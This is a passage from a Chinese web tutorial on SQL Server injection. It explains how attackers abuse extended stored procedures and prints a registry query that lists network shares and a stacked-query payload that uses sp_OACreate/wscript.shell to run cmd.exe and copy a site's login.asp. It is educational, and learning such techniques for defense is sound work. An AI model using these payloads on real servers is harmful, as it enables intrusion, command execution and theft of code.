gdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite
骇客可以利用此类的延伸预存程序存取系统的注册资料,例如查询该机器上有哪些共享目录,范例如程序代码列表 2。再利用上一期的技巧,以错误讯息来呈现结果。
CREATE TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100)) INSERT tblShareDir EXEC MASTER..XP_REGENUMVALUES HKEY_LOCAL_MACHINE,''''system\CurrentControlSet\Services\lanmanserver\shares''''
程序代码列表 2:利用 XP_RegEnumValues 取得系统的共享目录。
再利用上篇文章介绍的以错误讯息来呈现结果的技巧,或是以下文中透过 bcp.exe 工具程序将 tblShareDir 输出成档案,都可以取得想要的结果。
与 OLE Automation/COM 对象相关的延伸预存程序
SQL Server 提供了一组存取服务器外部 OLE 对象相关的预存程序。它们分别是:
sp_OACreate sp_OADestroy sp_OAMethod sp_OAGetProperty sp_OASetProperty sp_OAGetErrorInfo sp_OAStop
你可以用它们来建立 OLE 对象(一般COM 对象就可以了,但要支持 IDispatch 接口),执行对象的方法,读取与修改属性,进行错误处理。但它们无法响应一般 OLE 或 COM 对象的事件。
有了 COM/OLE 对象的建立与执行,对于控制系统来说可算是如虎添翼,无所不能了。稍举个例子,骇客可以利用它来取得有兴趣的网页的原始码,如程序代码列表 3:
'''';DECLARE @shell INT EXEC SP_OACREATE ''''wscript.shell'''',@shell OUTPUT EXEC SP_OAMETHOD @shell,''''run'''',null, ''''C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt''''--
程序代码列表 3:取得 login.asp 网页的内容。
在程序代码列表 3 中,利用 SP_OACREATE 建立 “wscript.shell” 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> [办公软件]在sybase中插入图片、PDF、文本文件 [办公软件]安装Sybase ASE [办公软件]linux指令大全(完整篇) [办公软件]Linux新手入门常用命令大全 [办公软件]在RedHat Linux 9里安装gaim0.80 [办公软件]浅谈Linux 下Java 1.5 汉字方块问题解决方法 [办公软件]Linux程序员必读:中文化与GB18030标准 [办公软件]linux指令大全 [办公软件]制作Linux启动盘的四种方法 [办公软件]Linux文件系统的反删除方法
|